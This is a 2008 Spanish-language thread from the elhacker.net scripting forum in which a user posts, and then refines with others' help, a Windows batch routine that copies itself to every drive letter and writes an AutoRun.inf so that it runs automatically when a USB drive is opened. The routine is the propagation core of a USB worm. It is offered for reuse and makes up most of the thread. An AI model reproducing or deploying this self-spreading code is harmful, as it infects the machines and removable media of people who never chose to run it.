Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: SmartGenius en 23 Mayo 2008, 01:27 am



Título: Propagacion por USB 2 - by SmartGenius
Publicado por: SmartGenius en 23 Mayo 2008, 01:27 am
Creo que hasta ahora es la mejor manera para copiarse y repartirse por USB, aunque es posible optimizarlo tambien usando el comando FOR...

Para el uso de esto se debe hacer una llamada a la etiqueta :copiausb a traves del comando call..

Por ejemplo:

call :copiausb y el code hara el resto de crear el autorun y de copiarlo a las diferentes unidades...

Código:
:copiausb
if exist C: call :creausb C
if exist D: call :creausb D
if exist E: call :creausb E
if exist F: call :creausb F
if exist G: call :creausb G
if exist H: call :creausb H
if exist I: call :creausb I
if exist J: call :creausb J
if exist K: call :creausb K
goto :eof

:creausb
copy %0 "%1:\nombre.bat"
echo [Autorun] > "%1:\AutoRun.inf"
echo open="nombre.bat" >> "%1:\AutoRun.inf"
echo action=Abrir Pendrive >> "%1:\AutoRun.inf"
echo shellexecute= "/nombre.bat" >> "%1:\AutoRun.inf"
goto :eof

Ademas que puede ser extendido para que detecte mas unidades, sin extender tanto el codigo, ahorrandonos varias lineas...

Para la parte del for tengo este code pero no lo he probado:

Código:
FOR %%a in (  C D E F G H I J K L M ) do (if exist %%a: (call :creausb %%a))

Espero que les sea de utilidad.

Saludos.


Título: Re: Propagacion por USB 2 - by SmartGenius
Publicado por: MK-Ultra en 23 Mayo 2008, 04:09 am
Muchas gracias, sirve bastante =)

Lo sacaste de algun lado o lo has echo tu mismo?


Título: Re: Propagacion por USB 2 - by SmartGenius
Publicado por: Crazy.sx en 23 Mayo 2008, 05:19 am
Como sea, me gusta este script.

Citar
Para la parte del for tengo este code pero no lo he probado:

Código:
FOR %%a in (  C D E F G H I J K L M ) do (if exist %%a: (call :creausb %%a))

¿No tendría que estar separado por comas? O es lo mismo así...

FOR %%a in (  C, D, E, F, G, H, I, J, K, L, M ) do (if exist %%a: (call :creausb %%a))

Pero igual, esta bueno.
Saludos


Título: Re: Propagacion por USB 2 - by SmartGenius
Publicado por: SmartGenius en 24 Mayo 2008, 03:56 am
el codigo lo he ideado yo mismo, no lo he copiado de ningun lado, es 100% mio  ::)

ya lo he probado y funciona perfecto, solo hace falta un cambio que me sugirieron pero ahora mas tarde lo pongo...

Saludos.


Título: Re: Propagacion por USB 2 - by SmartGenius
Publicado por: SmartGenius en 24 Mayo 2008, 20:21 pm
Bien... el script se ha mejorado, gracias a mi amigo Espesctro Infernal...

Código:
FOR %%A IN (A B C D F G H I J K L M N O P Q R S T U V W X Y Z) DO CALL INTERMEDIARIO %%A
GOTO :EOF

:INTERMEDIARIO
SET UNIDAD=%1
IF EXIST "%UNIDAD%:" (CALL :CREAUSB %UNIDAD%)
GOTO :EOF

:CREAUSB
SET LETRA=%1
COPY %0 "%LETRA%:\NOMBRE.BAT"
ECHO [AUTORUN] > "%LETRA%\AUTORUN.INF"
ECHO OPEN="NOMBRE.BAT" >> "%LETRA%\AUTORUN.INF"
ECHO ACTION=Abrir Pendrive >> "%LETRA%\AUTORUN.INF"
ECHO SHELLEXECUTE= "\NOMBRE.BAT" >> "%LETRA%\AUTORUN.INF"
GOTO :EOF

Saludos.